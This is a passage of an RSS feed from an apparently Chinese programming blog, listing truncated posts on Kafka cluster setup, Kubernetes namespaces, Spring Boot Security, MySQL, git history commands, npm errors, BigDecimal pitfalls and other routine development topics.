      <description>文章目录 一、安装部署1. 集群规划2. 虚拟机前置准备工作（1）配置IP（2）修改主机名称和hosts文件（3）关闭防火墙，关闭防火墙开机自启（4）克隆虚拟机 3. 集群部署（1）解压安装包（2）修改配置文件（3）编写集群分发脚本① scp（secure copy）安全拷贝② rsync 远程同步工具③ xsync 集群分发脚本 （4）SSH 无密登录配置① 配置 ssh② 无密钥配置 （5）修改集群其他服务器的配置（6）配置环境变量（7）kafka启动集群（8）kafka关闭集群（9）kafka集群启停脚本 一、安装部署 1. 集群规划 例如在3台服务器上安装zookeeper和kafka&#xA;hadoop102hadoop103hadoop104zookeeperzookeeperzookeeperkafkakafkakafka 2. 虚拟机前置准备工作 （1）配置IP 需要保证 Linux 系统 ifcfg-ens33 文件中 IP 地址、虚拟网络编辑器地址 和 Windows系统中VMnet8网络IP地址相同&#xA;1.首先配置虚拟网络编辑器地址，点击编辑选择虚拟网络编辑器&#xA;2.选择VMnet8，修改子网IP网段为10，只要跟其他网段不冲突就行&#xA;3.点击Net设置，网段配置一致也是10，网关最后一位默认是2&#xA;4.在Windows上打开网络和共享中心，配置VMnet8&#xA;5.在root用户下输入vim /etc/sysconfig/network-scripts/ifcfg-ens33，当前BOOTPROTO=&#34;dhcp&#34;表示动态获取IP地址，每次重启虚拟机，IP都会变化。所以需要修改为BOOTPROTO=&#34;static&#34;表示IP地址固定不变。&#xA;6.还需要多加几行配置，最终配置如下：&#xA;（2）修改主机名称和hosts文件 1.配置hostname，输入vim /etc/hostname，修改为hadoop100&#xA;2.在Linux上配置主机名称映射，输入vim /etc/hosts，添加以下内容&#xA;3.重启虚拟机，输入reboot&#xA;4.启动后，验证IP&#xA;验证主机名称&#xA;5.修改Windows的主机映射文件hosts，在文件在C:\Windows\System32\drivers\etc目录下&#xA;（3）关闭防火墙，关闭防火墙开机自启 [root@hadoop100 ~]# systemctl stop firewalld [root@hadoop100 ~]# systemctl disable firewalld.service 注意：在企业开发时，通常单个服务器的防火墙是关闭的。公司整体对外会设置非常安全的防火墙 （4）克隆虚拟机 1.利用模板机 hadoop100，克隆三台虚拟机：hadoop102 hadoop103 hadoop104&#xA;注意：克隆时，要先关闭 hadoop100</description>
    </item>
    <item>
      <title>SpringBoot使用Pio-tl动态填写合同（文档）</title>
      <link>https://bchobby.github.io/posts/9cd669597c60d4602d359d091045a6ba/</link>
      <pubDate>Tue, 06 Dec 2022 16:04:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9cd669597c60d4602d359d091045a6ba/</guid>
      <description>poi-tl（poi template language）是Word模板引擎，使用Word模板和数据创建很棒的Word文档。 poi-tl官方网址&#xA;项目中有需求需要动态填充交易合同，因此想到了使用poi-tl技术来实现&#xA;一、引入依赖 &amp;lt;!-- 生成word并且导出 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.deepoove&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-tl&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.5.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 上面需要的依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml-schemas&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.deepoove&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-tl&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.9.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 二、填充合同 1、金额转换工具类 public class MoneyUtils { private static final String UNIT = &#34;万千佰拾亿千佰拾万千佰拾元角分&#34;; private static final String DIGIT = &#34;零壹贰叁肆伍陆柒捌玖&#34;; private static final double MAX_VALUE = 9999999999999.99D; public static String change(double v) { if (v &amp;lt; 0 || v &amp;gt; MAX_VALUE){ return &#34;</description>
    </item>
    <item>
      <title>HTML快速入门及简单的创建网页实战演示</title>
      <link>https://bchobby.github.io/posts/f7abcd192f65e1310de701cac6a65eec/</link>
      <pubDate>Tue, 06 Dec 2022 15:44:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7abcd192f65e1310de701cac6a65eec/</guid>
      <description>目录&#xA;HTML文件结构&#xA;HTML元素&#xA;第一个HTML代码&#xA;添加标题 添加并修改图片&#xA;添加超链接 修改网页标题&#xA;内容居中&#xA;HTML文件结构 &amp;lt;！DOCTYPE html&amp;gt;——————————HTML文档声明，告诉浏览器我是一个HTML文件 &amp;lt;html lang=&#34;en&#34;&amp;gt;——————————HTML根元素 &amp;lt;head&amp;gt;————————--————————————————HTML头（一般放入原数据，搜索引擎的keyword，title，脚本，css文件链接等） &amp;lt;meta charset=&#34;UTF—8&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;head&amp;gt;——————————————————————————HTML头 &amp;lt;body&amp;gt;——------------------------HTMLbody（放入HTML元素，上网时所看到的页面内容就是body里的内容） &amp;lt;body&amp;gt;--------------------------HTMLbody &amp;lt;/html&amp;gt;——————————HTML根元素 HTML元素 &amp;lt;a&amp;gt;百度&amp;lt;/a&amp;gt;&#xA;&amp;lt;a&amp;gt;:开始标签&#xA;&amp;lt;/a&amp;gt;:结束标签 开始标签和结束标签成对出现，结束表现多个/&#xA;&amp;lt;a href=&#34;https://www.baidu.com&#34;&amp;gt;百度&amp;lt;/a&amp;gt;&#xA;href=&#34;https://www.baidu.com即为属性&#xA;属性规则：属性名=“属性值” “百度”是内容&#xA;HTML元素太多了记不住怎么办，这里给出一个网站https://developer.mozilla.org/zh-CN/does/Web/HTML/Element&#xA;记录了所有的html元素及其属性&#xA;下面直接进入实战&#xA;第一个HTML代码 1.首先打开cscode，下载两个辅助我们的插件给我们提示和节省时间&#xA;Live Server&#xA;HTML CSS Support&#xA;2.在phpstudy中创建好网站（详细可见《第一个PHP程序》）&#xA;3.点开这个网站的根目录并且创建一个HTML文件index.html&#xA;4.使用vs code打开这个文件 ，即可在编译器敲我们的代码了&#xA;5.直接输入感叹号（记得是英文状态下）点击回车，我们的插件就已经生效了，HTML的基本框架已经出现 6.删除第五行第六行（没用的东西） 7.接下来在body中即可输入我们的内容，输入经典语句Hello，World！&#xA;访问刚刚创建的网站 第一步已迈出&#xA;添加标题 我们从标题开始，将刚刚的hello world删除，输入h1按下Tab键，标题格式即自动生成，在中间输入“第一个HTML”&#xA;刷新刚刚创建的网页&#xA;同理输入h2按tab键生成副标题&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;h1&amp;gt;第一个HTML&amp;lt;/h1&amp;gt; &amp;lt;h2&amp;gt;一起努力&amp;lt;/h2&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 保存刷新 添加并修改图片 首先先把我们相加的图片保存在根目录中</description>
    </item>
    <item>
      <title>flink 消费Kafka 空指针问题</title>
      <link>https://bchobby.github.io/posts/e6151aaaa9797bd1f109b53df331ab34/</link>
      <pubDate>Tue, 06 Dec 2022 13:20:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e6151aaaa9797bd1f109b53df331ab34/</guid>
      <description>flink 消费Kafka 空指针问题 error：&#xA;2021-12-02 10:51:55,644 WARN org.apache.flink.runtime.taskmanager.Task [] - Source: Custom Source (1/3)#4 (92d97e5b78862c632d32b272b843bf4b) switched from RUNNING to FAILED with failure cause: java.lang.NullPointerException at java.lang.String.&amp;lt;init&amp;gt;(String.java:515) at org.apache.flink.api.common.serialization.SimpleStringSchema.deserialize(SimpleStringSchema.java:78) at org.apache.flink.api.common.serialization.SimpleStringSchema.deserialize(SimpleStringSchema.java:36) at org.apache.flink.api.common.serialization.DeserializationSchema.deserialize(DeserializationSchema.java:82) at org.apache.flink.streaming.connectors.kafka.internals.KafkaDeserializationSchemaWrapper.deserialize(KafkaDeserializationSchemaWrapper.java:58) at org.apache.flink.streaming.connectors.kafka.internals.KafkaFetcher.partitionConsumerRecordsHandler(KafkaFetcher.java:179) at org.apache.flink.streaming.connectors.kafka.internals.KafkaFetcher.runFetchLoop(KafkaFetcher.java:142) at org.apache.flink.streaming.connectors.kafka.FlinkKafkaConsumerBase.run(FlinkKafkaConsumerBase.java:826) at org.apache.flink.streaming.api.operators.StreamSource.run(StreamSource.java:110) at org.apache.flink.streaming.api.operators.StreamSource.run(StreamSource.java:66) at org.apache.flink.streaming.runtime.tasks.SourceStreamTask$LegacySourceFunctionThread.run(SourceStreamTask.java:269) 2021-12-02 10:51:55,644 WARN org.apache.flink.runtime.taskmanager.Task [] - Source: Custom Source (1/3)#4 (92d97e5b78862c632d32b272b843bf4b) switched from RUNNING to FAILED with failure cause: java.lang.NullPointerException at java.lang.String.&amp;lt;init&amp;gt;(String.java:515) at org.</description>
    </item>
    <item>
      <title>Mac M1 Datasophon 安装</title>
      <link>https://bchobby.github.io/posts/4973a42aedaaa78463a95ae9d584f5af/</link>
      <pubDate>Tue, 06 Dec 2022 13:18:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4973a42aedaaa78463a95ae9d584f5af/</guid>
      <description>Mac M1 Datasophon 安装 什么是 Datasophon DataSophon 是致力于自动化监控、运维、管理大数据基础组件和节点的，帮助您快速构建起稳定，高效的大数据集群服务。&#xA;网络要求 要求各机器各组件正常运行提供如下的网络端口配置：&#xA;组件默认端口说明DDHApplicationServer8081、2551、85868081 为http server 端口，2551 为rpc 通信端口，8586 为 jmx 端口WorkerApplicationServer2552、9100、85852552 rpc 通信端口，8585 为 jmx 端口，9100 为主机数据采集器端口nginx8888提供 UI 端通信端口 客户端浏览器要求 推荐 Chrome 以及使用 Chrome 内核的较新版本浏览器访问前端可视化操作界面。 关闭防火墙 各主机防火墙需关闭。&#xA;配置主机 host 大数据集群所有机器需配置主机 host。&#xA;配置主机名： hostnamectl set-hostname 主机名&#xA;配置 /etc/hosts 文件&#xA;免密登录配置 部署机器中，DataSophon 节点以及大数据服务主节点与从节点之间需免密登录。&#xA;生成ssh 秘钥： ssh-keygen -m PEM -t rsa ，一路回车。&#xA;执行 ssh-copy-id 目标主机。&#xA;环境要求 Jdk环境需安装。建议 mysql 版本为 5.7.X，并关闭 ssl。&#xA;(本机为 mysql 8)</description>
    </item>
    <item>
      <title>2.2.2同向放大器、同向放大器的设计</title>
      <link>https://bchobby.github.io/posts/ee829be30a3b53f6fbedf656a18f0001/</link>
      <pubDate>Tue, 06 Dec 2022 10:27:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee829be30a3b53f6fbedf656a18f0001/</guid>
      <description> 笔者电子信息专业硕士毕业，获得过多次电子设计大赛、大学生智能车、数学建模国奖，现就职于南京某半导体芯片公司，从事硬件研发，电路设计研究。对于学电子的小伙伴，深知入门的不易，特开次博客交流分享经验，共同互勉！全套资料领取扫描文末二维码！&#xA;温馨提示：学而不思则罔，思而不学则殆。实践是检验真理的唯一标准！&#xA;目录&#xA;2.2.2 同相放大器&#xA;1.基本同相放大器&#xA;2.同相比例放大器&#xA;2.同相放大器的设计 1）运算放大器的选择&#xA;2）外围参数的选择&#xA;2.2.2 同相放大器 凡是输入信号从运算放大器同相输入端输入的运算电路都称为同相放大器，它也是应用电路中最基本的类型。&#xA;1.基本同相放大器 图2.2.7所示为基本同相放大器的原理电路图，与反相放大器一样，外部元件可以是电阻元件、电抗元件甚至是一个复杂的网络。&#xA;图2.2.7 基本同相放大器 同相放大器具有下列共同特点。&#xA;① 同相放大器的闭环增益AF（jω）和输入阻抗具有相同的形式：&#xA;② 流经输入回路的电流和流经反馈回路的电流相同：&#xA;③ 反相端和同相端电压相等，且总等于共模电压Vc：&#xA;这一点要特别引起注意，由于Vc的存在，同相放大器存在共模电压堵塞现象，这一点与反相放大器不同。&#xA;2.同相比例放大器 在基本同相放大器中，外部元件为纯电阻时，即构成同相比例放大器，显然它是基本同相放大器的一种特例。图2.2.8所示为原理电路及理想等效电路图。&#xA;1）闭环增益&#xA;理想闭环增益为&#xA;图2.2.8 同相比例放大器&#xA;由式（2.2.52）可知，当运算放大器具有理想特性时，同相比例放大器的闭环增益AF仅与外部电路元件RF、Rf有关，而与放大器本身参数无关。此外，同相比例放大器的闭环增益总是大于或等于1。电阻Rp是为消除偏置电流及漂移的影响而设置的补偿电阻。&#xA;2）同相与反相比例放大器的比较&#xA;综上所述，同相比例放大器与反相比例放大器的主要差别如下。&#xA;①同相输入时，输出与输入同相；反相输入时，输出与输入反相。&#xA;② 同相输入时，闭环增益总是大于或等于1；反相输入时，闭环增益可大于1，也可小于1。&#xA;③同相放大器的输入电阻很高，远大于反相放大器的输入电阻。&#xA;④同相放大器的输入端存在共模输入电压，因此输入电压不能超过运放的最大共模输入电压Vicm，并要求放大器要有较高的共模抑制比。而反相放大器不存在这一问题。&#xA;2.同相放大器的设计 1）运算放大器的选择 选择运算放大器除要考虑设计反相运放电路选择运放的因素外，还要特别注意考虑运放CMRR和Vicm两项指标，要尽量选择高CMRR、Vicm的运放，一方面减少定态误差，另一方面防止堵塞。&#xA;2）外围参数的选择 外围电路元件的选择与反相放大器相同。采用与反相放大器完全相同的分析方法可得反馈电阻RF的取值应遵从下面公式：&#xA;关注回复【更多资料】海量嵌入式资料赠送&#xA;笔者电子信息专业硕士毕业，获得过多次电子设计大赛、大学生智能车、数学建模国奖，现就职于南京某半导体芯片公司，从事硬件研发，电路设计研究。对于学电子的小伙伴，深知入门的不易，特开次博客交流分享经验，共同互勉！ </description>
    </item>
    <item>
      <title>PCL点云旋转（平面参数）</title>
      <link>https://bchobby.github.io/posts/1f3d0f221c03476349c1a48d83c5e55e/</link>
      <pubDate>Tue, 06 Dec 2022 09:46:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f3d0f221c03476349c1a48d83c5e55e/</guid>
      <description>#include &#34;stdafx.h&#34; #include &amp;lt;iostream&amp;gt; #include &amp;lt;pcl/io/pcd_io.h&amp;gt; #include &amp;lt;pcl/io/ply_io.h&amp;gt; #include &amp;lt;pcl/point_cloud.h&amp;gt; #include &amp;lt;pcl/console/parse.h&amp;gt; #include &amp;lt;pcl/common/transforms.h&amp;gt; #include &amp;lt;pcl/visualization/pcl_visualizer.h&amp;gt; /*输入输入点云，输出点云地址和分割平面方程，返回旋转完的点云，可直接xy面z轴0值分割*/ pcl::PointCloud&amp;lt;pcl::PointXYZRGBA&amp;gt; Rotate(pcl::PointCloud&amp;lt;pcl::PointXYZRGBA&amp;gt; input,double A,double B,double C, pcl::PointCloud&amp;lt;pcl::PointXYZRGBA&amp;gt; &amp;amp;transformed_cloud) { //点云旋转，基于平面标准式法向量原理 //先绕x旋转,再绕y旋转 /* Reminder: how transformation matrices work : |-------&amp;gt; This column is the translation | 1 0 0 x | \ | 0 1 0 y | }-&amp;gt; The identity 3x3 matrix (no rotation) on the left | 0 0 1 z | / | 0 0 0 1 | -&amp;gt; We do not use this line (and it has to stay 0,0,0,1) METHOD #1: Using a Matrix4f This is the &#34;</description>
    </item>
    <item>
      <title>Namespace：集群环境共享与隔离</title>
      <link>https://bchobby.github.io/posts/c364ebb2120ff8239998fe1d8a73e5e7/</link>
      <pubDate>Tue, 06 Dec 2022 09:26:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c364ebb2120ff8239998fe1d8a73e5e7/</guid>
      <description>kubernetes 通过 Namespace (命名空间)和 Context 的设置对不同的工作组进行区分，使得它们既可以共享一个 Kubernetes 集群的服务，也可以互不干扰。&#xA;创建Namespace 为了在 Kubernetes 集群中实现这两个分组，首先需要创建两个命名空间。&#xA;使用 namespace-development.yaml，创建 development 命名空间：&#xA;apiVersion: v1 kind: Namespace metadata: name: development 使用 namespace-production.yaml，创建 production 命名空间：&#xA;apiVersion: v1 kind: Namespace metadata: name: production 使用kubectl create命令完成命名空间的创建：&#xA;[root@master1 ~]# kubectl create -f namespace-development.yaml -f namespace-production.yaml namespace/development created namespace/production created 查看系统中的命名空间&#xA;[root@master1 ~]# kubectl get namespaces | grep -v &#39;kube&#39; NAME STATUS AGE default Active 2d16h development Active 18s production Active 18s 定义Context 接下来，通过kubectl config set-context命令定义 Context，并将 Context 置于之前创建的命名空间中。为这两个工作组分别定义一个 Context，即运行环境。这个运行环境将属于某个特定的命名空间。</description>
    </item>
    <item>
      <title>安装了tensorflow导入keras报错</title>
      <link>https://bchobby.github.io/posts/04e95b4f568cc2f817bfa5f047b0801c/</link>
      <pubDate>Tue, 06 Dec 2022 09:21:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04e95b4f568cc2f817bfa5f047b0801c/</guid>
      <description> 代码1 from keras.models import Sequential from keras.layers import Input, Dense, Activation, Conv2D, MaxPooling2D, Flatten from keras.datasets import mnist 报错：&#xA;from keras.models import Sequential ModuleNotFoundError: No module named &#39;keras&#39; 代码修改为&#xA;from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Input, Dense, Activation, Conv2D, MaxPooling2D, Flatten from tensorflow.keras.datasets import mnist 代码2 from tensorflow.keras.utils import np_utils 报错&#xA;ImportError: cannot import name &#39;np_utils&#39; from &#39;tensorflow.keras.utils&#39; 代码修改为&#xA;from tensorflow.python.keras.utils.np_utils import to_categorical </description>
    </item>
    <item>
      <title>推荐一个开源的 .NET 二维码生成库</title>
      <link>https://bchobby.github.io/posts/38b152f42592f99d465babe62a2d3af1/</link>
      <pubDate>Tue, 06 Dec 2022 07:40:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38b152f42592f99d465babe62a2d3af1/</guid>
      <description>你好，这里是 Dotnet 工具箱，定期分享 Dotnet 有趣，实用的工具和组件，希望对您有用！&#xA;介绍&#xA;QrCodeGenerator 是开源的 .NET 二维码生成库，它支持从文本字符串和字节数组生成二维码图片。&#xA;这个库是基于 .NET Standard 2.0 构建的，所以它可以在大多数现代 .NET 平台（.NET Core、.NET Framework、Mono 等）上运行，包括 .NET 6, .NET 7。&#xA;核心特点&#xA;• 遵循 QR Code Model 2 标准, 支持完整的 40 种版本（大小）, 以及 4 个不同的二维码纠错级别。&#xA;• 输出 svg, png 等多种格式。&#xA;• 基于 MIT 协议，开源免费。&#xA;• 跨平台支持，macOS, Linux, iOS&#xA;• 项目提供了 WinForms、WPF、ASP.NET、ImageSharp、SkiaSharp 等的示例代码。&#xA;如何使用&#xA;1. 通过 Nuget 安装 Net.Codecrete.QrCodeGenerator。&#xA;Install-Package Net.Codecrete.QrCodeGenerator -Version 2.0.3 1. 在程序中添加下面的代码&#xA;var text = &#34;</description>
    </item>
    <item>
      <title>MySQL</title>
      <link>https://bchobby.github.io/posts/62a004b95946bb97541afa471dcca73a/</link>
      <pubDate>Mon, 05 Dec 2022 18:52:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62a004b95946bb97541afa471dcca73a/</guid>
      <description>一.概念与作用 长期存放在计算机内，有组织、可共享的大量数据的集合，是一个数据“仓库”， 用来保存，管理数据&#xA;二.运行机制 三.结构化查询语句分类 四.数据值和列类型 1.数据值：规定数据库中该列存放的数据类型 分为：数值类型 字符串类型 日期和时间型 NULL值&#xA;2.列类型分类 2.1数值类型 2.2字符串类型 2.3日期和时间型 2.4.NULL值 理解为“没有值”或“未知值”&#xA;不要用NULL进行算术运算，结果仍为NULL&#xA;五.操作 库操作 查看所有数据库名 SHOW DATABASES;&#xA;选中指定数据库，使用指定数据库 USE 指定数据库名;&#xA;查看当前使用的数据库 SELECT DATABASE();&#xA;创建数据库 CREATE DATABASE [IF NOT EXISTS] 数据库名 [DEFAULT CHAREST 字符集] [COLLATE排序规则];&#xA;删除数据库 DROP DATABASE 数据库名;&#xA;DROP DATABASE IF EXISTS 数据库名; 表操作 查询当前数据库所有表 SHOW TABLES；&#xA;查询表结构 DESC 表名；&#xA;查询指定表的建表语句 SHOW CREATE TABLE 表名；&#xA;创建表 CREATE TABLE 表名(&#xA;字段1 字段1类型[COMMENT 字段1注释],&#xA;字段1 字段1类型[COMMENT 字段1注释],</description>
    </item>
    <item>
      <title>git------git log 与 git reflog 查看历史记录（被删除的历史commit ID）</title>
      <link>https://bchobby.github.io/posts/90e9778a273e4e82782a5127c26f8eb4/</link>
      <pubDate>Mon, 05 Dec 2022 17:45:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90e9778a273e4e82782a5127c26f8eb4/</guid>
      <description>区别：如果在回退以后又想再次回到之前的版本， git reflog 可以查看所有分支的所有操作记录（包括commit和reset的操作），包括已经被删除的commit记录&#xA;git log则不能查看已经删除了的commit记录.&#xA;git blame - 显示文件的每一行最后修改的版本和作者（详细内容待加入） 推荐采用的命令（结果简洁明了，非常实用） --abbrev-commit： hash值commitID简短形式出现&#xA;--graph：以ASCII 图形表示的分支合并历史&#xA;git log --pretty=oneline --abbrev-commit -&amp;lt;number&amp;gt; // 以一行的形式展示历史，number表示要展示的最近的几条&#xA;git log --pretty=format:&#34;%h - %an %cr : %s&#34; --graph -&amp;lt;number&amp;gt; // 以对应格式展示历史记录，graph是以ASCII 图形表示的分支合并历史&#xA;git rev-parse branch_name // 775337e59686c0a9b197f9adfbe7afaa744ca7b3 ； 当前最新的commitID&#xA;一、git log git log --pretty=format:&#34;%h - %an %cr : %s&#34; --graph // 美化日志 git log --graph --oneline --decorate git log 查看所有（未被回退）的commit id 和提交的信息&#xA;如果觉得太繁琐，在命令后加上参数 --pretty=oneline，只会显示版本号和提交时的备注信息&#xA;命令总结 1.--oneline标志来简化日志</description>
    </item>
    <item>
      <title>Spring Boot Security 自动配置</title>
      <link>https://bchobby.github.io/posts/1969d37fa452f38d38b8e65d9c7cab7b/</link>
      <pubDate>Mon, 05 Dec 2022 16:33:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1969d37fa452f38d38b8e65d9c7cab7b/</guid>
      <description>1. 概述 在本教程中，我们将了解Spring Boot对安全性的看法。&#xA;简单地说，我们将重点关注默认安全配置，以及在需要时如何禁用或自定义它。&#xA;2. 默认的安全设置 为了向我们的 Spring Boot 应用程序添加安全性，我们需要添加安全启动器依赖项：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-security&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 这还将包括包含初始/默认安全配置的SecurityAutoConfiguration类。&#xA;注意我们在这里没有指定版本，假设项目已经使用 Boot 作为父项目。&#xA;默认情况下，为应用程序启用身份验证。此外，内容协商用于确定是否应使用 basic 或 formLogin。&#xA;有一些预定义的属性：&#xA;spring.security.user.name spring.security.user.password 如果我们不使用预定义属性spring.security.user.password 配置密码并启动应用程序，则会随机生成一个默认密码并打印在控制台日志中：&#xA;Using default security password: c8be15de-4488-4490-9dc6-fab3f91435c6 有关更多默认值，请参阅Spring Boot Common Application Properties参考页面的安全属性部分。&#xA;3. 禁用自动配置 要放弃安全自动配置并添加我们自己的配置，我们需要排除SecurityAutoConfiguration类。&#xA;我们可以通过简单的排除来做到这一点：&#xA;@SpringBootApplication(exclude = { SecurityAutoConfiguration.class }) public class SpringBootSecurityApplication { public static void main(String[] args) { SpringApplication.run(SpringBootSecurityApplication.class, args); } } 或者我们可以在application.properties文件中添加一些配置：&#xA;spring.autoconfigure.exclude=org.springframework.boot.autoconfigure.security.SecurityAutoConfiguration 但是，在某些特殊情况下，此设置还不够。&#xA;例如，几乎每个 Spring Boot 应用程序都是通过类路径中的 Actuator 启动的。**这会导致问题，因为另一个自动配置类需要我们刚刚排除的那个。**因此，应用程序将无法启动。</description>
    </item>
    <item>
      <title>npm install 报错node-sass</title>
      <link>https://bchobby.github.io/posts/12d55cdbfd8e4008074fe0c79df2f285/</link>
      <pubDate>Mon, 05 Dec 2022 15:34:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12d55cdbfd8e4008074fe0c79df2f285/</guid>
      <description> npm install 报错node-sass@4.13.0 postinstall:`node scripts/build.js` Failed at the node-sass@4.13.0 原因​ 这个是因为 sass 安装时获取源的问题，先修改 sass 安装的源，再运行npm install就成功了&#xA;解决办法​ 第一种方法&#xA;npm config set sass_binary_site=https://npm.taobao.org/mirrors/node-sass 拷贝&#xA;第二种方法&#xA;先删除node-modules文件夹，删除 package-lock.json 文件&#xA;rm -rf node_modules rm package-lock.json 拷贝&#xA;再使用淘宝镜像安装，使用--registry=https://registry.npm.taobao.org参数&#xA;npm install --registry=https://registry.npm.taobao.org </description>
    </item>
    <item>
      <title>mapbox 天地图 底图切换组件</title>
      <link>https://bchobby.github.io/posts/5edeb00ea6449322cbbc4d1683caa785/</link>
      <pubDate>Mon, 05 Dec 2022 15:17:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5edeb00ea6449322cbbc4d1683caa785/</guid>
      <description>地图却换组件 效果：&#xA;&amp;lt;template&amp;gt; &amp;lt;div id=&#34;layerswitch&#34;&amp;gt; &amp;lt;div id=&#34;right-panel&#34;&amp;gt; &amp;lt;div id=&#34;panel-head&#34;&amp;gt; &amp;lt;span class=&#34;head-text&#34;&amp;gt;底图&amp;lt;/span&amp;gt; &amp;lt;div&amp;gt; &amp;lt;span @click=&#34;closePanel&#34;&amp;gt; &amp;lt;a-icon type=&#34;close&#34; /&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&#34;panel-body&#34;&amp;gt; &amp;lt;div v-for=&#34;(layer, idx) in baseLayers&#34; :key=&#34;idx&#34; class=&#34;item&#34; :class=&#34;{ active: activeType == layer.lyrName }&#34; @click=&#34;changeBaseLayer(layer)&#34; &amp;gt; &amp;lt;span class=&#34;image-link&#34; :id=&#34;(&#39;icon-&#39; + layer.lyrName)&#34;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;span class=&#34;image-text&#34;&amp;gt;{{ layer.label }}&amp;lt;/span&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&#34;panel-footer&#34;&amp;gt; &amp;lt;div class=&#34;header-head-text&#34;&amp;gt; &amp;lt;span&amp;gt;地名&amp;lt;/span&amp;gt; &amp;lt;a-checkbox :indeterminate=&#34;indeterminate&#34; style=&#34;float:right&#34; :checked=&#34;checked&#34; @change=&#34;onChange&#34;&amp;gt;&amp;lt;/a-checkbox&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;footer-head-text&#34; v-for=&#34;(layer, idx) in overLayers&#34; :key=&#34;idx&#34; &amp;gt; &amp;lt;span&amp;gt;{{ layer.label }}&amp;lt;/span&amp;gt; &amp;lt;a-checkbox :indeterminate=&#34;</description>
    </item>
    <item>
      <title>BigDecimal的踩坑和使用</title>
      <link>https://bchobby.github.io/posts/123db997671f15106b6d3b75124a09b3/</link>
      <pubDate>Mon, 05 Dec 2022 14:32:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/123db997671f15106b6d3b75124a09b3/</guid>
      <description>通常我们遇到精度问题，大都会想到用BigDecimal来解决问题。可是BigDecimal也存在一定的坑，确实需要我们去注意。&#xA;一、踩坑&#xA;使用BigDecimal避免不了我们去创建他的对象，他有几种创建对象的构造方法。&#xA;我们可以从中看到，当我们使用double和float的构造方法构造BigDecimal时，显示的精度有问题，这就是我们特别需要注意的地方。然而我们换一种方式，将 double和float 转换成字符串之后再构造BigDecimal，就不会出现这种问题。&#xA;综上所述，我们再使用BigDecimal的时候，需要特别注意这一点。&#xA;二、使用&#xA;1、格式化&#xA;一般货币会保留2为有效数字，四舍五入。百分数也是按照保留下小数个数，进行四舍五入，包括他们的乘积也是保留两位小数，四舍五入。&#xA;2、格式化（保留固定小数，不足补0）&#xA;从上面可以看出，调用下面的formatToNumberStr()方法，可以做到正确保存小数的问题。&#xA;3.工具类&#xA;/** * 用于高精确处理常用的数学运算 */ public class ArithmeticUtils { //默认除法运算精度 private static final int DEF_DIV_SCALE = 10; /** * 提供精确的加法运算 * * @param v1 被加数 * @param v2 加数 * @return 两个参数的和 */ public static double add(double v1, double v2) { BigDecimal b1 = new BigDecimal(Double.toString(v1)); BigDecimal b2 = new BigDecimal(Double.toString(v2)); return b1.add(b2).doubleValue(); } /** * 提供精确的加法运算 * * @param v1 被加数 * @param v2 加数 * @return 两个参数的和 */ public static BigDecimal add(String v1, String v2) { BigDecimal b1 = new BigDecimal(v1); BigDecimal b2 = new BigDecimal(v2); return b1.</description>
    </item>
    <item>
      <title>python中列表介绍及用法（通俗易懂）</title>
      <link>https://bchobby.github.io/posts/e7ba6e4bc56831188a665f097db5c9bf/</link>
      <pubDate>Mon, 05 Dec 2022 14:26:02 +0800</pubDate>
